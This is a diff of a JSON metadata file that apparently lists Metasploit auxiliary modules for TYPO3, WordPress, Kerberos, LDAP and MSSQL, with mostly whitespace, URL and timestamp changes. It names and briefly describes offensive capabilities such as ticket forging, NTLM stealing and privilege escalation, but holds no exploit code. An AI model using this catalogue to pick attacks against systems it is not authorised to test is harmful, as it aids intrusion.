"auxiliary/admin/http/trendmicro_dlp_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-09", "type": "auxiliary", @@ -5293,20 +4794,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/typo3_news_module_sqli": { "name": "TYPO3 News Module SQL Injection", "fullname": "auxiliary/admin/http/typo3_news_module_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-04-06", "type": "auxiliary", @@ -5345,20 +4841,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/typo3_sa_2009_001": { "name": "TYPO3 sa-2009-001 Weak Encryption Key File Disclosure", "fullname": "auxiliary/admin/http/typo3_sa_2009_001", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-01-20", "type": "auxiliary", @@ -5398,20 +4889,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/typo3_sa_2009_002": { "name": "Typo3 sa-2009-002 File Disclosure", "fullname": "auxiliary/admin/http/typo3_sa_2009_002", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-10", "type": "auxiliary", @@ -5452,8 +4938,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -5466,9 +4951,7 @@ "auxiliary_admin/http/typo3_sa_2010_020": { "name": "TYPO3 sa-2010-020 Remote File Disclosure", "fullname": "auxiliary/admin/http/typo3_sa_2010_020", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -5480,7 +4963,7 @@ "references": [ "CVE-2010-3714", "URL-http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020", - "URL-http://gregorkopf.de/slides_berlinsides_2010.pdf" + "URL-http://web.archive.org/web/20180126053019/http://gregorkopf.de/slides_berlinsides_2010.pdf" ], "platform": "", "arch": "", @@ -5501,27 +4984,22 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2010_020.rb", "is_install_path": true, "ref_name": "admin/http/typo3_sa_2010_020", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/typo3_winstaller_default_enc_keys": { "name": "TYPO3 Winstaller Default Encryption Keys", "fullname": "auxiliary/admin/http/typo3_winstaller_default_enc_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -5558,8 +5036,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -5580,9 +5057,7 @@ "auxiliary_admin/http/ulterius_file_download": { "name": "Ulterius Server File Download Vulnerability", "fullname": "auxiliary/admin/http/ulterius_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -5621,20 +5096,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/vbulletin_upgrade_admin": { "name": "vBulletin Administrator Account Creation", "fullname": "auxiliary/admin/http/vbulletin_upgrade_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-09", "type": "auxiliary", @@ -5675,20 +5145,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/webnms_cred_disclosure": { "name": "WebNMS Framework Server Credential Disclosure", "fullname": "auxiliary/admin/http/webnms_cred_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-07-04", "type": "auxiliary", @@ -5728,20 +5193,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/webnms_file_download": { "name": "WebNMS Framework Server Arbitrary Text File Download", "fullname": "auxiliary/admin/http/webnms_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-07-04", "type": "auxiliary", @@ -5780,20 +5240,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/whatsup_gold_sqli": { "name": "WhatsUp Gold SQL Injection (CVE-2024-6670)", "fullname": "auxiliary/admin/http/whatsup_gold_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-08-29", "type": "auxiliary", @@ -5848,16 +5303,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_automatic_plugin_privesc": { "name": "WordPress Plugin Automatic Config Change to RCE", "fullname": "auxiliary/admin/http/wp_automatic_plugin_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-09-06", "type": "auxiliary", @@ -5899,9 +5350,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes", "ioc-in-logs" @@ -5912,16 +5361,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_custom_contact_forms": { "name": "WordPress custom-contact-forms Plugin SQL Upload", "fullname": "auxiliary/admin/http/wp_custom_contact_forms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-07", "type": "auxiliary", @@ -5961,20 +5406,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_easycart_privilege_escalation": { "name": "WordPress WP EasyCart Plugin Privilege Escalation", "fullname": "auxiliary/admin/http/wp_easycart_privilege_escalation", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-25", "type": "auxiliary", @@ -6013,20 +5453,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_gdpr_compliance_privesc": { "name": "WordPress WP GDPR Compliance Plugin Privilege Escalation", "fullname": "auxiliary/admin/http/wp_gdpr_compliance_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-11-08", "type": "auxiliary", @@ -6067,28 +5502,20 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "Reliability": [], "SideEffects": [ "config-changes" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_google_maps_sqli": { "name": "WordPress Google Maps Plugin SQL Injection", "fullname": "auxiliary/admin/http/wp_google_maps_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-02", "type": "auxiliary", @@ -6126,20 +5553,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_masterstudy_privesc": { "name": "Wordpress MasterStudy Admin Account Creation", "fullname": "auxiliary/admin/http/wp_masterstudy_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-02-18", "type": "auxiliary", @@ -6187,22 +5609,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_post_smtp_acct_takeover": { "name": "Wordpress POST SMTP Account Takeover", "fullname": "auxiliary/admin/http/wp_post_smtp_acct_takeover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-01-10", "type": "auxiliary", @@ -6248,22 +5664,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_symposium_sql_injection": { "name": "WordPress Symposium Plugin SQL Injection", "fullname": "auxiliary/admin/http/wp_symposium_sql_injection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-18", "type": "auxiliary", @@ -6302,20 +5712,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/wp_wplms_privilege_escalation": { "name": "WordPress WPLMS Theme Privilege Escalation", "fullname": "auxiliary/admin/http/wp_wplms_privilege_escalation", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-09", "type": "auxiliary", @@ -6353,20 +5758,15 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/zyxel_admin_password_extractor": { "name": "ZyXEL GS1510-16 Password Extractor", "fullname": "auxiliary/admin/http/zyxel_admin_password_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6404,20 +5804,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/kerberos/forge_ticket": { "name": "Kerberos Silver/Golden/Diamond/Sapphire Ticket Forging", "fullname": "auxiliary/admin/kerberos/forge_ticket", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6434,12 +5829,8 @@ "platform": "", "arch": "", "rport": 88, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-11-28 13:14:13 +0000", "path": "/modules/auxiliary/admin/kerberos/forge_ticket.rb", @@ -6455,9 +5846,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ], + "Reliability": [], "AKA": [ "Ticketer", "Klist" @@ -6487,9 +5876,7 @@ "auxiliary_admin/kerberos/get_ticket": { "name": "Kerberos TGT/TGS Ticket Requester", "fullname": "auxiliary/admin/kerberos/get_ticket", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6502,18 +5889,12 @@ "smashery" ], "description": "This module requests TGT/TGS Kerberos tickets from the KDC", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 88, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2025-01-29 14:25:33 +0000", "path": "/modules/auxiliary/admin/kerberos/get_ticket.rb", @@ -6530,12 +5911,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -6557,9 +5934,7 @@ "auxiliary_admin/kerberos/inspect_ticket": { "name": "Kerberos Ticket Inspecting", "fullname": "auxiliary/admin/kerberos/inspect_ticket", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6567,18 +5942,12 @@ "Dean Welch" ], "description": "This module outputs the contents of a ccache/kirbi file and optionally (when provided with the appropriate key)\n decrypts and displays the encrypted content too.\n Can be used for inspecting tickets that aren't working as intended in an effort to debug them.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-01-26 09:21:55 +0000", "path": "/modules/auxiliary/admin/kerberos/inspect_ticket.rb", @@ -6588,31 +5957,21 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "Stability": [], + "SideEffects": [], + "Reliability": [], "AKA": [ "klist" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/kerberos/keytab": { "name": "Kerberos keytab utilities", "fullname": "auxiliary/admin/kerberos/keytab", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6620,18 +5979,12 @@ "alanfoster" ], "description": "Utilities for interacting with keytab files, which can store the hashed passwords of one or\n more principals.\n\n Discovered keytab files can be used to generate Kerberos Ticket Granting Tickets, or bruteforced\n offline.\n\n Keytab files can be also useful for decrypting Kerberos traffic using Wireshark dissectors,\n including the krbtgt encrypted blobs if the AES password hash is used.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-06-13 09:14:06 +0000", "path": "/modules/auxiliary/admin/kerberos/keytab.rb", @@ -6641,15 +5994,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -6671,9 +6018,7 @@ "auxiliary_admin/kerberos/ms14_068_kerberos_checksum": { "name": "MS14-068 Microsoft Kerberos Checksum Validation Vulnerability", "fullname": "auxiliary/admin/kerberos/ms14_068_kerberos_checksum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-18", "type": "auxiliary", @@ -6689,40 +6034,31 @@ "OSVDB-114751", "URL-http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx", "URL-https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/", - "URL-https://github.com/bidord/pykek", + "URL-http://web.archive.org/web/20180107213459/https://github.com/bidord/pykek", "URL-https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit" ], "platform": "", "arch": "", "rport": 88, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-01-27 09:11:43 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb", "is_install_path": true, "ref_name": "admin/kerberos/ms14_068_kerberos_checksum", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/kerberos/ticket_converter": { "name": "Kerberos ticket converter", "fullname": "auxiliary/admin/kerberos/ticket_converter", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6741,12 +6077,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-09-28 22:28:54 +0000", "path": "/modules/auxiliary/admin/kerberos/ticket_converter.rb", @@ -6756,28 +6088,18 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/ldap/ad_cs_cert_template": { "name": "AD CS Certificate Template Management", "fullname": "auxiliary/admin/ldap/ad_cs_cert_template", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6795,12 +6117,8 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2025-02-13 16:46:31 +0000", "path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb", @@ -6810,15 +6128,11 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "config-changes" ], - "Reliability": [ - - ], + "Reliability": [], "AKA": [ "Certifry", "Certipy" @@ -6850,9 +6164,7 @@ "auxiliary_admin/ldap/change_password": { "name": "Change Password", "fullname": "auxiliary/admin/ldap/change_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6867,12 +6179,8 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-12-06 16:47:25 +0000", "path": "/modules/auxiliary/admin/ldap/change_password.rb", @@ -6882,15 +6190,11 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -6910,9 +6214,7 @@ "auxiliary_admin/ldap/rbcd": { "name": "Role Base Constrained Delegation", "fullname": "auxiliary/admin/ldap/rbcd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6930,12 +6232,8 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2025-02-13 16:46:31 +0000", "path": "/modules/auxiliary/admin/ldap/rbcd.rb", @@ -6945,15 +6243,11 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "config-changes" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -6981,9 +6275,7 @@ "auxiliary_admin/ldap/shadow_credentials": { "name": "Shadow Credentials", "fullname": "auxiliary/admin/ldap/shadow_credentials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -6999,12 +6291,8 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-02 13:57:13 +0000", "path": "/modules/auxiliary/admin/ldap/shadow_credentials.rb", @@ -7014,15 +6302,11 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "SideEffects": [ "config-changes" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -7050,9 +6334,7 @@ "auxiliary_admin/ldap/vmware_vcenter_vmdir_auth_bypass": { "name": "VMware vCenter Server vmdir Authentication Bypass", "fullname": "auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-09", "type": "auxiliary", @@ -7072,12 +6354,8 @@ "platform": "", "arch": "", "rport": 636, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-05-02 13:57:13 +0000", "path": "/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb", @@ -7094,9 +6372,7 @@ "ioc-in-logs", "config-changes" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "ldap" @@ -7112,9 +6388,7 @@ "auxiliary_admin/maxdb/maxdb_cons_exec": { "name": "SAP MaxDB cons.exe Remote Command Injection", "fullname": "auxiliary/admin/maxdb/maxdb_cons_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-09", "type": "auxiliary", @@ -7130,12 +6404,8 @@ "platform": "", "arch": "", "rport": 7210, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb", @@ -7144,20 +6414,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/misc/sercomm_dump_config": { "name": "SerComm Device Configuration Dump", "fullname": "auxiliary/admin/misc/sercomm_dump_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-31", "type": "auxiliary", @@ -7173,12 +6438,8 @@ "platform": "", "arch": "", "rport": 32764, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/admin/misc/sercomm_dump_config.rb", @@ -7187,20 +6448,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/misc/wol": { "name": "UDP Wake-On-Lan (WOL)", "fullname": "auxiliary/admin/misc/wol", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7208,18 +6464,12 @@ "sinn3r " ], "description": "This module will turn on a remote machine with a network card that\n supports wake-on-lan (or MagicPacket). In order to use this, you must\n know the machine's MAC address in advance. The current default MAC\n address is just an example of how your input should look like.\n\n The password field is optional. If present, it should be in this hex\n format: 001122334455, which is translated to \"0x001122334455\" in binary.\n Note that this should be either 4 or 6 bytes long.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 04:43:37 +0000", "path": "/modules/auxiliary/admin/misc/wol.rb", @@ -7228,20 +6478,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/motorola/wr850g_cred": { "name": "Motorola WR850G v4.03 Credentials", "fullname": "auxiliary/admin/motorola/wr850g_cred", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-09-24", "type": "auxiliary", @@ -7257,12 +6502,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/motorola/wr850g_cred.rb", @@ -7271,20 +6512,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/ms/ms08_059_his2006": { "name": "Microsoft Host Integration Server 2006 Command Execution Vulnerability", "fullname": "auxiliary/admin/ms/ms08_059_his2006", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-14", "type": "auxiliary", @@ -7301,12 +6537,8 @@ "platform": "", "arch": "", "rport": 0, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/admin/ms/ms08_059_his2006.rb", @@ -7315,20 +6547,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_enum": { "name": "Microsoft SQL Server Configuration Enumerator", "fullname": "auxiliary/admin/mssql/mssql_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7336,9 +6563,7 @@ "Carlos Perez " ], "description": "This module will perform a series of configuration audits and\n security checks against a Microsoft SQL Server database. For this\n module to work, valid administrative user credentials must be\n supplied.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -7364,22 +6589,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_enum_domain_accounts": { "name": "Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration", "fullname": "auxiliary/admin/mssql/mssql_enum_domain_accounts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7416,20 +6636,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_enum_domain_accounts_sqli": { "name": "Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration", "fullname": "auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7467,20 +6682,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_enum_sql_logins": { "name": "Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration", "fullname": "auxiliary/admin/mssql/mssql_enum_sql_logins", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7516,20 +6726,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_escalate_dbowner": { "name": "Microsoft SQL Server Escalate Db_Owner", "fullname": "auxiliary/admin/mssql/mssql_escalate_dbowner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7565,22 +6770,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_escalate_dbowner_sqli": { "name": "Microsoft SQL Server SQLi Escalate Db_Owner", "fullname": "auxiliary/admin/mssql/mssql_escalate_dbowner_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7617,20 +6817,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_escalate_execute_as": { "name": "Microsoft SQL Server Escalate EXECUTE AS", "fullname": "auxiliary/admin/mssql/mssql_escalate_execute_as", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7666,22 +6861,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_escalate_execute_as_sqli": { "name": "Microsoft SQL Server SQLi Escalate Execute AS", "fullname": "auxiliary/admin/mssql/mssql_escalate_execute_as_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7718,20 +6908,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_exec": { "name": "Microsoft SQL Server Command Execution", "fullname": "auxiliary/admin/mssql/mssql_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7769,22 +6954,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_findandsampledata": { "name": "Microsoft SQL Server Find and Sample Data", "fullname": "auxiliary/admin/mssql/mssql_findandsampledata", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7825,22 +7005,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_idf": { "name": "Microsoft SQL Server Interesting Data Finder", "fullname": "auxiliary/admin/mssql/mssql_idf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7876,22 +7051,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_ntlm_stealer": { "name": "Microsoft SQL Server NTLM Stealer", "fullname": "auxiliary/admin/mssql/mssql_ntlm_stealer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7927,20 +7097,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, 